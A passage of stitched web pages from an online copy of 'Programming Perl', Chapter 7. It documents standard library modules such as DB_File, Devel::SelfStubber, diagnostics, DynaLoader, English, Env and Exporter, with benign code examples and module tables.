tie %h,  "DB_File", "hashed", O_RDWR|O_CREAT, 0644, $DB_HASH;

# Add a key/value pair to the file
$h{apple} = "orange";

# Check for value of a key
print "No, we have some bananas.\n" if $h{banana};

# Delete
delete $h{"apple"};
untie %h;

Here is an example using $DB_BTREE. Just to make life more interesting, the default comparison function is not used. Instead, a Perl subroutine, Compare(), does a case-insensitive comparison.

use DB_File;
use Fcntl;

sub Compare {
    my ($key1, $key2) = @_;
    "\L$key1" cmp "\L$key2";
}

$DB_BTREE->{compare} = 'Compare';
tie %h,  'DB_File', "tree", O_RDWR|O_CREAT, 0644, $DB_BTREE;

# Add a key/value pair to the file
$h{Wall}  = 'Larry';
$h{Smith} = 'John';
$h{mouse} = 'mickey';
$h{duck}  = 'donald';

# Delete
delete $h{duck};

# Cycle through the keys printing them in order.
# Note it is not necessary to sort the keys as
# the btree will have kept them in order automatically.
while ($key = each %h) { print "$key\n" }

untie %h;

The preceding code yields this output:

mouse
Smith
Wall

Next, an example using $DB_RECNO. You may access a regular textfile as an array of lines. But the first line of the text file is the zeroth element of the array, and so on. This provides a clean way to seek to a particular line in a text file.

my(@line, $number);
$number = 10;
use Fcntl;
use DB_File;
tie(@line, "DB_File", "/tmp/text", O_RDWR|O_CREAT, 0644, $DB_RECNO)
    or die "can't tie file: $!";
$line[$number - 1] = "this is a new line $number";

Here's an example of updating a file in place:

use Fcntl;
use DB_File;
tie(@file, 'DB_File', "/tmp/sample", O_RDWR, 0644, $DB_RECNO)
    or die "can't update /tmp/sample: $!";
print "line #3 was ", $file[2], "\n";
$file[2] = `date`;
untie @file;

Note that the tied array interface is incomplete, causing some operations on the resulting array to fail in strange ways. See the discussion of tied arrays in Chapter 5. Some object methods are provided to avoid this. Here's an example of reading a file backward:

use DB_File;
use Fcntl;
$H = tie(@h, "DB_File", $file, O_RDWR, 0640, $DB_RECNO)
        or die "Cannot open file $file: $!\n";
# print the records in reverse order
for ($i = $H->length - 1; $i >= 0; --$i) {
    print "$i: $h[$i]\n";
}
untie @h;

7.2.8.7 Locking databases

Concurrent access of a read-write database by several parties requires that each use some kind of locking. Here's an example that uses the fd() method to get the file descriptor, and then a careful open to give something Perl will flock for you. Run this repeatedly in the background to watch the locks granted in proper order. You have to call the sync() method to ensure that the writes make it to disk between access, or else the library would normally hold some in its own cache.

use Fcntl;
use DB_File;
use strict;
sub LOCK_SH { 1 }
sub LOCK_EX { 2 }
sub LOCK_NB { 4 }
sub LOCK_UN { 8 }
my($oldval, $fd, $db_obj, %db_hash, $value, $key);
$key   = shift || 'default';
$value = shift || 'magic';
$value .= " $$";
$db_obj = tie(%db_hash, 'DB_File', '/tmp/foo.db', O_CREAT|O_RDWR, 0644)
                    or die "dbcreat /tmp/foo.db $!";
$fd = $db_obj->fd;
print "$$: db fd is $fd\n";
open(DB_FH, "+<&=$fd") or die "fdopen $!";
unless (flock (DB_FH, LOCK_SH | LOCK_NB)) {
    print "$$: CONTENTION; can't read during write update!
                Waiting for read lock ($!) ....";
    unless (flock (DB_FH, LOCK_SH)) { die "flock: $!" }
}
print "$$: Read lock granted\n";
$oldval = $db_hash{$key};
print "$$: Old value was $oldval\n";
flock(DB_FH, LOCK_UN);
unless (flock (DB_FH, LOCK_EX | LOCK_NB)) {
    print "$$: CONTENTION; must have exclusive lock!
                Waiting for write lock ($!) ....";
    unless (flock (DB_FH, LOCK_EX)) { die "flock: $!" }
}
print "$$: Write lock granted\n";
$db_hash{$key} = $value;
sleep 10;
$db_obj->sync();                   # to flush
flock(DB_FH, LOCK_UN);
undef $db_obj;                     # removing the last reference to the DB
                                   # closes it. Closing DB_FH is implicit.
untie %db_hash;
print "$$: Updated db to $key=$value\n";

7.2.8.8 See also

Related manpages: dbopen(3),
hash(3), recno(3),
btree(3).

Berkeley DB is available from these locations:

  • ftp://ftp.cs.berkeley.edu/ucb/4bsd/db.1.85.tar.gz

  • http://www.perl.com/CPAN/src/misc/db.1.85.tar.gz

Previous: 7.2.7 Cwd - Get Pathname of Current Working Directory | Programming Perl | Next: 7.2.9 Devel::SelfStubber - Generate Stubs for a SelfLoading Module
7.2.7 Cwd - Get Pathname of Current Working Directory | Book Index | 7.2.9 Devel::SelfStubber - Generate Stubs for a SelfLoading Module


[Chapter 7] 7.2.9 Devel::SelfStubber - Generate Stubs for a SelfLoading Module

Programming PerlSearch this book

7.2.9 Devel::SelfStubber - Generate Stubs for a SelfLoading Module

use Devel::SelfStubber;

$modulename = "Mystuff::Grok";  # no .pm suffix or slashes
$lib_dir = "";                  # defaults to current directory
Devel::SelfStubber->stub($modulename, $lib_dir);   # stubs only

# to generate the whole module with stubs inserted correctly
use Devel::SelfStubber;
$Devel::SelfStubber::JUST_STUBS = 0;
Devel::SelfStubber->stub($modulename, $lib_dir);

Devel::SelfStubber supports inherited, autoloaded methods by printing the stubs you need to put in your module before the __DATA__ token. A subroutine stub looks like this:

sub moo;

The stub ensures that if a method is called, it will get loaded. This is best explained using the following example:

Assume four classes, A, B, C, and D. A is the root class, B is a subclass of A, C is a subclass of B, and D is another subclass of A.

                    A
                   / \
                  B   D
                 /
                C

If D calls an autoloaded method moo() which is defined in class A, then the method is loaded into class A, and executed. If C then calls method moo(), and that method was reimplemented in class B, but set to be autoloaded, then the lookup mechanism never gets to the AUTOLOAD mechanism in B because it first finds the moo() method already loaded in A, and so erroneously uses that. If the method moo() had been stubbed in B, then the lookup mechanism would have found the stub, and correctly loaded and used the subroutine from B.

So, to get autoloading to work right with classes and subclasses, you need to make sure the stubs are loaded.

The SelfLoader can load stubs automatically at module initialization with:

SelfLoader->load_stubs();

But you may wish to avoid having the stub-loading overhead associated with your initialization.[8] In this case, you can put the subroutine stubs before the __DATA__ token. This can be done manually, by inserting the output of the first call to the stub() method above. But the module also allows automatic insertion of the stubs. By default the stub() method just prints the stubs, but you can set the global $Devel::SelfStubber::JUST_STUBS to 0 and it will print out the entire module with the stubs positioned correctly, as in the second call to stub().

[8] Although note that the load_stubs() method will be called sooner or later, at latest when the first subroutine is being autoloaded - which may be too late, if you're trying to moo().

At the very least, this module is useful for seeing what the SelfLoader thinks are stubs; in order to ensure that future versions of the SelfStubber remain in step with the SelfLoader, the SelfStubber actually uses the SelfLoader to determine which stubs are needed.

Previous: 7.2.8 DB_File - Access to Berkeley DB | Programming Perl | Next: 7.2.10 diagnostics - Force Verbose Warning Diagnostics
7.2.8 DB_File - Access to Berkeley DB | Book Index | 7.2.10 diagnostics - Force Verbose Warning Diagnostics


[Chapter 7] The Standard Perl Library

Programming PerlSearch this book
Previous: 6.4 Cooperating with Other Languages Chapter 7 Next: 7.2 Library Modules

7. The Standard Perl Library

Contents:
Beyond the Standard Library
Library Modules

This chapter describes the collection of Perl code that comes along with the Perl distribution. If you use this library and then share your program with others, they will not have to take special steps to execute the program, because the same library is available to Perl programs everywhere.

You'll save some time if you make the effort to get familiar with the standard library. There's no point in reinventing the wheel. You should be aware, however, that the library contains a wide range of material. While some modules may be extremely helpful, others may be completely irrelevant to your needs. For example, some are useful only if you are creating extensions to Perl. We offer below a rough classification of the library modules to aid you in browsing.

First, however, let's untangle some terminology:

package

A package is a simple namespace management device, allowing two different parts of a Perl program to have a (different) variable named $fred. These namespaces are managed with the package declaration, described in Chapter 5, Packages, Modules, and Object Classes.

library

A library is a set of subroutines for a particular purpose. Often the library declares itself a separate package so that related variables and subroutines can be kept together, and so that they won't interfere with other variables in your program. Generally, a library is placed in a separate file, often ending in ".pl", and then pulled into the main program via require. (This mechanism has largely been superseded by the module mechanism, so nowadays we often use the term "library" to talk about the whole system of modules that come with Perl. See the title of this chapter, for instance.)

module

A module is a library that conforms to specific conventions, allowing the file to be brought in with a use directive at compile time. Module filenames end in ".pm", because the use directive insists on that. (It also translates the subpackage delimiter :: to whatever your subdirectory delimiter is; it is / on UNIX.) Chapter 5 describes Perl modules in greater detail.

pragma

A pragma is a module that affects the compilation phase of your program as well as the execution phase. Think of them as hints to the compiler. Unlike modules, pragmas often (but not always) limit the scope of their effects to the innermost enclosing block of your program. The names of pragmas are by convention all lowercase.

For easy reference, this chapter is arranged alphabetically. If you wish to look something up by functional grouping, Tables 7-1 through 7-11 display an (admittedly arbitrary) listing of the modules and pragmas described in this chapter.

Table 7.1: General Programming: Miscellaneous
Module | Function
Benchmark | Check and compare running times of code
Config | Access Perl configuration information
Env | Import environment variables
English | Use English or awk names for punctuation variables
Getopt::Long | Extended processing of command-line options
Getopt::Std | Process single-character switches with switch clustering
lib | Manipulate @INC at compile time
Shell | Run shell commands transparently within Perl
strict | Restrict unsafe constructs
Symbol | Generate anonymous globs; qualify variable names
subs | Predeclare subroutine names
vars | Predeclare global variable names

Table 7.2: General Programming: Error Handling and Logging
Module | Function
Carp | Generate error messages
diagnostics | Force verbose warning diagnostics
sigtrap | Enable stack backtrace on unexpected signals
Sys::Syslog | Perl interface to UNIX syslog(3) calls

Table 7.3: General Programming: File Access and Handling
Module | Function
Cwd | Get pathname of current working directory
DirHandle | Supply object methods for directory handles
File::Basename | Parse file specifications
File::CheckTree | Run many tests on a collection of files
File::Copy | Copy files or filehandles
File::Find | Traverse a file tree
File::Path | Create or remove a series of directories
FileCache | Keep more files open than the system permits
FileHandle | Supply object methods for filehandles
SelectSaver | Save and restore selected filehandle

Table 7.4: General Programming: Text Processing and Screen Interfaces
Module | Function
Pod::Text | Convert POD data to formatted ASCII text
Search::Dict | Search for key in dictionary file
Term::Cap | Terminal capabilities interface
Term::Complete | Word completion module
Text::Abbrev | Create an abbreviation table from a list
Text::ParseWords | Parse text into a list of tokens
Text::Soundex | The Soundex Algorithm described by Knuth
Text::Tabs | Expand and unexpand tabs
Text::Wrap | Wrap text into a paragraph

Table 7.5: Database Interfaces
Module | Function
AnyDBM_File | Provide framework for multiple DBMs
DB_File | Tied access to Berkeley DB
GDBM_File | Tied access to GDBM library
NDBM_File | Tied access to NDBM files
ODBM_File | Tied access to ODBM files
SDBM_File | Tied access to SDBM files

Table 7.6: Mathematics
Module | Function
integer | Do arithmetic in integer instead of double
Math::BigFloat | Arbitrary-length floating-point math package
Math::BigInt | Arbitrary-length integer math package
Math::Complex | Complex numbers package

Table 7.7: Networking and Interprocess Communication
Module | Function
IPC::Open2 | Open a process for both reading and writing
IPC::Open3 | Open a process for reading, writing, and error handling
Net::Ping | Check whether a host is online
Socket | Load the C socket.h defines and structure manipulators
Sys::Hostname | Try every conceivable way to get hostname

Table 7.8: Time and Locale
Module | Function
Time::Local | Efficiently compute time from local and GMT time
I18N::Collate | Compare 8-bit scalar data according to the current locale

Table 7.9: For Developers: Autoloading and Dynamic Loading
Module | Function
AutoLoader | Load functions only on demand
AutoSplit | Split a module for autoloading
Devel::SelfStubber | Generate stubs for a SelfLoading module
DynaLoader | Automatic dynamic loading of Perl modules
SelfLoader | Load functions only on demand

Table 7.10: For Developers: Language Extensions and Platform Development Support
Module | Function
ExtUtils::Install | Install files from here to there
ExtUtils::Liblist | Determine libraries to use and how to use them
ExtUtils::MakeMaker | Create a Makefile for a Perl extension
ExtUtils::Manifest | Utilities to write and check a MANIFEST file
ExtUtils::Miniperl | Write the C code for perlmain.c
ExtUtils::Mkbootstrap | Make a bootstrap file for use by DynaLoader
ExtUtils::Mksymlists | Write linker option files for dynamic extension
ExtUtils::MM_OS2 | Methods to override UNIX behavior in ExtUtils::MakeMaker
ExtUtils::MM_Unix | Methods used by ExtUtils::MakeMaker
ExtUtils::MM_VMS | Methods to override UNIX behavior in ExtUtils::MakeMaker
Fcntl | Load the C fcntl.h defines
POSIX | Interface to IEEE Std 1003.1
Safe | Create safe namespaces for evaluating Perl code
Test::Harness | Run Perl standard test scripts with statistics

Table 7.11: For Developers: Object-Oriented Programming Support
Module | Function
Exporter | Default import method for modules
overload | Overload Perl's mathematical operations
Tie::Hash | Base class definitions for tied hashes
Tie::Scalar | Base class definitions for tied scalars
Tie::StdHash | Base class definitions for tied hashes
Tie::StdScalar | Base class definitions for tied scalars
Tie::SubstrHash | Fixed-table-size, fixed-key-length hashing

7.1 Beyond the Standard Library

If you don't find an entry in the standard library that fits your needs, it's still quite possible that someone has written code that will be useful to you. There are many superb library modules that are not included in the standard distribution, for various practical, political, and pathetic reasons. To find out what is available, you can look at the Comprehensive Perl Archive Network (CPAN). See the discussion of CPAN in the Preface.

Here are the major categories of modules available from CPAN:

  • Archiving and Compression

  • Authentication, Security and Encryption

  • Control Flow Utilities (callbacks, exceptions, and so on)

  • Data Types and Data Type Utilities

  • Database Interfaces

  • Development Support

  • Filehandle and Input/Output Stream Utilities

  • File Names, File Systems and File Locking

  • Images, Pixmap and Bitmap Manipulation, Drawing and Graphing

  • Interfaces to/Emulations of Other Programming Languages

  • Internationalization and Locale

  • Language Extensions and Documentation Tools

  • Mail and Usenet News

  • Miscellaneous Modules

  • Networking, Device Control (modems) and Inter-process Communication

  • Operating System Interfaces

  • Option, Argument, Parameter and Configuration File Processing

  • Server and Daemon Utilities

  • String Processing, Language Text Processing, Parsing and Searching

  • User Interfaces

  • World Wide Web, HTML, HTTP, CGI, MIME

Allow us again to reiterate once more that these things are in a state of flux, and you will certainly find more and better stuff on CPAN than we can possibly describe here. The Perl of Great Price has outgrown its oyster, so to speak, because Perl is truly a community effort these days - see John 14:12.

Previous: 6.4 Cooperating with Other Languages | Programming Perl | Next: 7.2 Library Modules
6.4 Cooperating with Other Languages | Book Index | 7.2 Library Modules


[Chapter 7] 7.2.10 diagnostics - Force Verbose Warning Diagnostics

Programming PerlSearch this book

7.2.10 diagnostics - Force Verbose Warning Diagnostics

# As a pragma:
use diagnostics;
use diagnostics -verbose;

enable  diagnostics;
disable diagnostics;

# As a program:
$ perl program 2>diag.out
$ splain [-v] [-p] diag.out

The diagnostics module extends the terse diagnostics normally emitted by both the Perl compiler and the Perl interpreter, augmenting them with the more explicative and endearing descriptions found in Chapter 9, Diagnostic Messages. It affects the compilation phase of your program rather than merely the execution phase.

To use in your program as a pragma, merely say:

use diagnostics;

at the start (or near the start) of your program. (Note that this enables Perl's -w flag.) Your whole compilation will then be subject to the enhanced diagnostics. These are still issued to STDERR.

Due to the interaction between run-time and compile-time issues, and because it's probably not a very good idea anyway, you may not use:

no diagnostics

to turn diagnostics off at compile time. However, you can turn diagnostics on or off at run-time by invoking diagnostics::enable() and diagnostics::disable(), respectively.

The -verbose argument first prints out the perldiag(1) manpage introduction before any other diagnostics. The $diagnostics::PRETTY variable, if set in a BEGIN block, results in nicer escape sequences for pagers:

BEGIN { $diagnostics::PRETTY = 1 }

7.2.10.1 The standalone program

While apparently a whole other program, splain is actually nothing more than a link to the (executable) diagnostics.pm module. It acts upon the standard error output of a Perl program, which you may have treasured up in a file, or piped directly to splain.

The -v flag has the same effect as:

use diagnostics -verbose

The -p flag sets $diagnostics::PRETTY to true. Since you're post-processing with splain, there's no sense in being able to enable() or disable() diagnostics.

Output from splain (unlike the pragma) is directed to STDOUT.

7.2.10.2 Examples

The following file is certain to trigger a few errors at both run-time and compile-time:

use diagnostics;
print NOWHERE "nothing\n";
print STDERR "\n\tThis message should be unadorned.\n";
warn "\tThis is a user warning";
print "\nDIAGNOSTIC TESTER: Please enter a <CR> here: ";
my $a, $b = scalar <STDIN>;
print "\n";
print $x/$y;

If you prefer to run your program first and look at its problems afterward, do this while talking to a Bourne-like shell:

perl -w test.pl 2>test.out
./splain < test.out

If you don't want to modify your source code, but still want on-the-fly warnings, do this:

perl -w -Mdiagnostics test.pl

If you want to control warnings on the fly, do something like this. (Make sure the use comes first, or you won't be able to get at the enable() or disable() methods.)

use diagnostics; # checks entire compilation phase
print "\ntime for 1st bogus diags: SQUAWKINGS\n";
print BOGUS1 'nada';
print "done with 1st bogus\n";

disable diagnostics; # only turns off run-time warnings
print "\ntime for 2nd bogus: (squelched)\n";
print BOGUS2 'nada';
print "done with 2nd bogus\n";

enable diagnostics; # turns back on run-time warnings
print "\ntime for 3rd bogus: SQUAWKINGS\n";
print BOGUS3 'nada';
print "done with 3rd bogus\n";

disable diagnostics;
print "\ntime for 4th bogus: (squelched)\n";
print BOGUS4 'nada';
print "done with 4th bogus\n";

Previous: 7.2.9 Devel::SelfStubber - Generate Stubs for a SelfLoading Module | Programming Perl | Next: 7.2.11 DirHandle - Supply Object Methods for Directory Handles
7.2.9 Devel::SelfStubber - Generate Stubs for a SelfLoading Module | Book Index | 7.2.11 DirHandle - Supply Object Methods for Directory Handles


[Chapter 7] 7.2.11 DirHandle - Supply Object Methods for Directory Handles

Programming PerlSearch this book

7.2.11 DirHandle - Supply Object Methods for Directory Handles

use DirHandle;

my $d = new DirHandle ".";   # open the current directory
if (defined $d) {
    while (defined($_ = $d->read)) { something($_); }
    $d->rewind;
    while (defined($_ = $d->read)) { something_else($_); }
}

DirHandle provides an alternative interface to Perl's opendir, closedir, readdir, and rewinddir functions.

The only objective benefit to using DirHandle is that it avoids name-space pollution by creating anonymous globs to hold directory handles. Well, and it also closes the DirHandle automatically when the last reference goes out of scope. But since most people only keep a directory handle open long enough to slurp in all the filenames, this is of dubious value. But hey, it's object-oriented.

Previous: 7.2.10 diagnostics - Force Verbose Warning Diagnostics | Programming Perl | Next: 7.2.12 DynaLoader - Automatic Dynamic Loading of Perl Modules
7.2.10 diagnostics - Force Verbose Warning Diagnostics | Book Index | 7.2.12 DynaLoader - Automatic Dynamic Loading of Perl Modules


[Chapter 7] 7.2.12 DynaLoader - Automatic Dynamic Loading of Perl Modules

Programming PerlSearch this book

7.2.12 DynaLoader - Automatic Dynamic Loading of Perl Modules

package YourModule;
require DynaLoader;
@ISA = qw(... DynaLoader ...);

bootstrap YourModule;

This module defines the standard Perl interface to the dynamic linking mechanisms available on many platforms. A common theme throughout the module system is that using a module should be easy, even if the module itself (or the installation of the module) is more complicated as a result. This applies particularly to the DynaLoader. To use it in your own module, all you need are the incantations listed above in the synopsis. This will work whether YourModule is statically or dynamically linked into Perl. (This is a Configure option for each module.) The bootstrap() method will either call YourModule's bootstrap routine directly if YourModule is statically linked into Perl, or if not, YourModule will inherit the bootstrap() method from DynaLoader, which will do everything necessary to load in your module, and then call YourModule's bootstrap() method for you, as if it were there all the time and you called it yourself. Piece of cake, of the have-it-and-eat-it-too variety.

The rest of this description talks about the DynaLoader from the viewpoint of someone who wants to extend the DynaLoader module to a new architecture. The Configure process selects which kind of dynamic loading to use by choosing to link in one of several C implementations, which must be linked into perl statically. (This is unlike other C extensions, which provide a single implementation, which may be linked in either statically or dynamically.)

The DynaLoader is designed to be a very simple, high-level interface that is sufficiently general to cover the requirements of SunOS, HP-UX, NeXT, Linux, VMS, Win-32, and other platforms. By itself, though, DynaLoader is practically useless for accessing non-Perl libraries because it provides almost no Perl-to-C "glue". There is, for example, no mechanism for calling a C library function or supplying its arguments in any sort of portable form. This job is delegated to the other extension modules that you may load in by using DynaLoader.

7.2.12.1 Internal interface summary

Variables:
    @dl_library_path
    @dl_resolve_using
    @dl_require_symbols
    $dl_debug

Subroutines:
    bootstrap($modulename);
    @filepaths = dl_findfile(@names);
    $filepath = dl_expandspec($spec);
    $libref  = dl_load_file($filename);
    $symref  = dl_find_symbol($libref, $symbol);
    @symbols = dl_undef_symbols();
    dl_install_xsub($name, $symref [, $filename]);
    $message = dl_error;

The bootstrap() and dl_findfile() routines are standard across all platforms, and so are defined in DynaLoader.pm. The rest of the functions are supplied by the particular .xs file that supplies the implementation for the platform. (You can examine the existing implementations in the ext/DynaLoader/*.xs files in the Perl source directory. You should also read DynaLoader.pm, of course.) These implementations may also tweak the default values of the variables listed below.

@dl_library_path

The default list of directories in which dl_findfile() will search for libraries. Directories are searched in the order they are given in this array variable, beginning with subscript 0. @dl_library_path is initialized to hold the list of "normal" directories (/usr/lib and so on) determined by the Perl installation script, Configure, and given by $Config{'libpth'}. This is to ensure portability across a wide range of platforms. @dl_library_path should also be initialized with any other directories that can be determined from the environment at run-time (such as LD_LIBRARY_PATH for SunOS). After initialization, @dl_library_path can be manipulated by an application using push and unshift before calling dl_findfile(). unshift can be used to add directories to the front of the search order either to save search time or to override standard libraries with the same name. The load function that dl_load_file() calls might require an absolute pathname. The dl_findfile() function and @dl_library_path can be used to search for and return the absolute pathname for the library/object that you wish to load.

@dl_resolve_using

A list of additional libraries or other shared objects that can be used to resolve any undefined symbols that might be generated by a later call to dl_load_file(). This is only required on some platforms that do not handle dependent libraries automatically. For example, the Socket extension shared library (auto/Socket/Socket.so) contains references to many socket functions that need to be resolved when it's loaded. Most platforms will automatically know where to find the "dependent" library (for example, /usr/lib/libsocket.so). A few platforms need to be told the location of the dependent library explicitly. Use @dl_resolve_using for this. Example:

@dl_resolve_using = dl_findfile('-lsocket');
@dl_require_symbols

A list of one or more symbol names that are in the library/object file to be dynamically loaded. This is only required on some platforms.

dl_error
$message = dl_error();

Error message text from the last failed DynaLoader function. Note that, similar to errno in UNIX, a successful function call does not reset this message. Implementations should detect the error as soon as it occurs in any of the other functions and save the corresponding message for later retrieval. This will avoid problems on some platforms (such as SunOS) where the error message is very temporary (see, for example, dlerror(3)).

$dl_debug

Internal debugging messages are enabled when $dl_debug is set true. Currently, setting $dl_debug only affects the Perl side of the DynaLoader. These messages should help an application developer to resolve any DynaLoader usage problems. $dl_debug is set to $ENV{'PERL_DL_DEBUG'} if defined. For the DynaLoader developer and porter there is a similar debugging variable added to the C code (see dlutils.c) and enabled if Perl was built with the -DDEBUGGING flag. This can also be set via the PERL_DL_DEBUG environment variable. Set to 1 for minimal information or higher for more.

dl_findfile
@filepaths = dl_findfile(@names)

Determines the full paths (including file suffix) of one or more loadable files, given their generic names and optionally one or more directories. Searches directories in @dl_library_path by default and returns an empty list if no files were found. Names can be specified in a variety of platform-independent forms. Any names in the form -lname are converted into libname.*, where .* is an appropriate suffix for the platform. If a name does not already have a suitable prefix or suffix, then the corresponding file will be sought by trying prefix and suffix combinations appropriate to the platform: $name.o, lib$name.* and $name. If any directories are included in @names, they are searched before @dl_library_path. Directories may be specified as -Ldir. Any other names are treated as filenames to be searched for. Using arguments of the form -Ldir and -lname is recommended. Example:

@dl_resolve_using = dl_findfile(qw(-L/usr/5lib -lposix));
dl_expandspec
$filepath = dl_expandspec($spec)

Some unusual systems such as VMS require special filename handling in order to deal with symbolic names for files (that is, VMS's Logical Names). To support these systems a dl_expandspec() function can be implemented either in the dl_*.xs file or code can be added to the autoloadable dl_expandspec() function in DynaLoader.pm.

dl_load_file
$libref = dl_load_file($filename)

Dynamically load $filename, which must be the path to a shared object or library. An opaque "library reference" is returned as a handle for the loaded object. dl_load_file() returns the undefined value on error. (On systems that provide a handle for the loaded object such as SunOS and HP-UX, the returned handle will be $libref. On other systems $libref will typically be $filename or a pointer to a buffer containing $filename. The application should not examine or alter $libref in any way.) Below are some of the functions that do the real work. Such functions should use the current values of @dl_require_symbols and @dl_resolve_using if required.

SunOS:  dlopen($filename)
HP-UX:  shl_load($filename)
Linux:  dld_create_reference(@dl_require_symbols); dld_link($filename)
NeXT:   rld_load($filename, @dl_resolve_using)
VMS:    lib$find_image_symbol($filename, $dl_require_symbols[0])
dl_find_symbol
$symref = dl_find_symbol($libref, $symbol)

Returns the address of the symbol $symbol, or the undefined value if not found. If the target system has separate functions to search for symbols of different types, then dl_find_symbol() should search for function symbols first and then search for other types. The exact manner in which the address is returned in $symref is not currently defined. The only initial requirement is that $symref can be passed to, and understood by, dl_install_xsub(). Here are some current implementations:

SunOS:  dlsym($libref, $symbol)
HP-UX:  shl_findsym($libref, $symbol)
Linux:  dld_get_func($symbol) and/or dld_get_symbol($symbol)
NeXT:   rld_lookup("_$symbol")
VMS:    lib$find_image_symbol($libref, $symbol)
dl_undef_symbols
@symbols = dl_undef_symbols()

Returns a list of symbol names which remain undefined after dl_load_file(). It returns () if these names are not known. Don't worry if your platform does not provide a mechanism for this. Most platforms do not need it and hence do not provide it; they just return an empty list.

dl_install_xsub
dl_install_xsub($perl_name, $symref [, $filename])

Creates a new Perl external subroutine named $perl_name using $symref as a pointer to the function that implements the routine. This is simply a direct call to newXSUB(). It returns a reference to the installed function. The $filename parameter is used by Perl to identify the source file for the function if required by die, caller, or the debugger. If $filename is not defined, then DynaLoader will be used.

bootstrap()
bootstrap($module);

This is the normal entry point for automatic dynamic loading in Perl.

It performs the following actions:

  • Locates an auto/$module directory by searching @INC

  • Uses dl_findfile() to determine the filename to load

  • Sets @dl_require_symbols to ("boot_$module")

  • Executes an auto/$module/$module.bs file if it exists (typically used to add to @dl_resolve_using any files that are required to load the module on the current platform)

  • Calls dl_load_file() to load the file

  • Calls dl_undef_symbols() and warns if any symbols are undefined

  • Calls dl_find_symbol() for "boot_$module"

  • Calls dl_install_xsub() to install it as ${module}::bootstrap

  • Calls &{"${module}::bootstrap"} to bootstrap the module (actually it uses the function reference returned by dl_install_xsub() for speed)

Previous: 7.2.11 DirHandle - Supply Object Methods for Directory Handles | Programming Perl | Next: 7.2.13 English - Use English or awk Names for Punctuation Variables
7.2.11 DirHandle - Supply Object Methods for Directory Handles | Book Index | 7.2.13 English - Use English or awk Names for Punctuation Variables


[Chapter 7] 7.2.13 English - Use English or awk Names for Punctuation Variables

Programming PerlSearch this book

7.2.13 English - Use English or awk Names for Punctuation Variables

use English;
...
if ($ERRNO =~ /denied/) { ... }

This module provides aliases for the built-in "punctuation" variables. Variables with side effects that get triggered merely by accessing them (like $0) will still have the same effects under the aliases.

For those variables that have an awk(1) version, both long and short English alternatives are provided. For example, the $/ variable can be referred to either as $RS or as $INPUT_RECORD_SEPARATOR if you are using the English module.

Here is the list of variables along with their English alternatives:

Perl | English | Perl | English
@_ | @ARG | $? | $CHILD_ERROR
$_ | $ARG | $! | $OS_ERROR
$& | $MATCH | $! | $ERRNO
$` | $PREMATCH | $@ | $EVAL_ERROR
$' | $POSTMATCH | $$ | $PROCESS_ID
$+ | $LAST_PAREN_MATCH | $$ | $PID
$. | $INPUT_LINE_NUMBER | $< | $REAL_USER_ID
$. | $NR | $< | $UID
$/ | $INPUT_RECORD_SEPARATOR | $> | $EFFECTIVE_USER_ID
$/ | $RS | $> | $EUID
$| | $OUTPUT_AUTOFLUSH | $( | $REAL_GROUP_ID
$, | $OUTPUT_FIELD_SEPARATOR | $( | $GID
$, | $OFS | $) | $EFFECTIVE_GROUP_ID
$\ | $OUTPUT_RECORD_SEPARATOR | $) | $EGID
$\ | $ORS | $0 | $PROGRAM_NAME
$" | $LIST_SEPARATOR | $] | $PERL_VERSION
$; | $SUBSCRIPT_SEPARATOR | $^A | $ACCUMULATOR
$; | $SUBSEP | $^D | $DEBUGGING
$% | $FORMAT_PAGE_NUMBER | $^F | $SYSTEM_FD_MAX
$= | $FORMAT_LINES_PER_PAGE | $^I | $INPLACE_EDIT
$- | $FORMAT_LINES_LEFT | $^P | $PERLDB
$~ | $FORMAT_NAME | $^T | $BASETIME
$^ | $FORMAT_TOP_NAME | $^W | $WARNING
$: | $FORMAT_LINE_BREAK_CHARACTERS | $^X | $EXECUTABLE_NAME
$^L | $FORMAT_LINEFEED | $^O | $OSNAME

Previous: 7.2.12 DynaLoader - Automatic Dynamic Loading of Perl Modules | Programming Perl | Next: 7.2.14 Env - Import Environment Variables
7.2.12 DynaLoader - Automatic Dynamic Loading of Perl Modules | Book Index | 7.2.14 Env - Import Environment Variables


[Chapter 7] 7.2.14 Env - Import Environment Variables

Programming PerlSearch this book

7.2.14 Env - Import Environment Variables

use Env;                     # import all possible variables
use Env qw(PATH HOME TERM);  # import only specified variables

Perl maintains environment variables in a pseudo-associative array named %ENV. Since this access method is sometimes inconvenient, the Env module allows environment variables to be treated as simple variables.

The Env::import() routine ties environment variables to global Perl variables with the same names. By default it ties suitable, existing environment variables (that is, variables yielded by keys %ENV). An environmental variable is considered suitable if its name begins with an alphabetic character, and if it consists of nothing but alphanumeric characters plus underscore.

If you supply arguments when invoking use Env, they are taken to be a list of environment variables to tie. It's OK if the variables don't yet exist.

After an environment variable is tied, you can use it like a normal variable. You may access its value:

@path = split(/:/, $PATH);

or modify it any way you like:

$PATH .= ":.";

To remove a tied environment variable from the environment, make it the undefined value:

undef $PATH;

Note that the corresponding operation performed directly against %ENV is not undef, but delete:

delete $ENV{PATH};

Previous: 7.2.13 English - Use English or awk Names for Punctuation Variables | Programming Perl | Next: 7.2.15 Exporter - Default Import Method for Modules
7.2.13 English - Use English or awk Names for Punctuation Variables | Book Index | 7.2.15 Exporter - Default Import Method for Modules


[Chapter 7] 7.2.15 Exporter - Default Import Method for Modules

Programming PerlSearch this book

7.2.15 Exporter - Default Import Method for Modules

# in module YourModule.pm:
package YourModule;
use Exporter ();
@ISA = qw(Exporter);

@EXPORT = qw(...);              # Symbols to export by default.
@EXPORT_OK = qw(...);           # Symbols to export on request.
%EXPORT_TAGS = (tag => [...]);  # Define names for sets of symbols.

# in other files that wish to use YourModule:
use YourModule;                 # Import default symbols into my package.
use YourModule qw(...);         # Import listed symbols into my package.
use YourModule ();              # Do not import any symbols!

Any module may define a class method called import(). Perl automatically calls a module's import() method when processing the use statement for the module. The module itself doesn't have to define the import() method, though. The Exporter module implements a default import() method that many modules choose to inherit instead. The Exporter module supplies the customary import semantics, and any other import() methods will tend to deviate from the normal import semantics in various (hopefully documented) ways. Now we'll talk about the normal import semantics.

7.2.15.1 Specialized import lists

Ignoring the class name, which is always the first argument to a class method, the arguments that are passed into the import() method are known as an import list. Usually the import list is nothing more than a list of subroutine or variable names, but occasionally you may want to get fancy. If the first entry in an import list begins with !, :, or /, the list is treated as a series of specifications that either add to or delete from the list of names to import. They are processed left to right. Specifications are in the form:

Symbol | Meaning
[!]name | This name only
[!]:DEFAULT | All names in @EXPORT
[!]:tag | All names in $EXPORT_TAGS{tag} anonymous list
[!]/pattern/ | All names in @EXPORT and @EXPORT_OK that match pattern

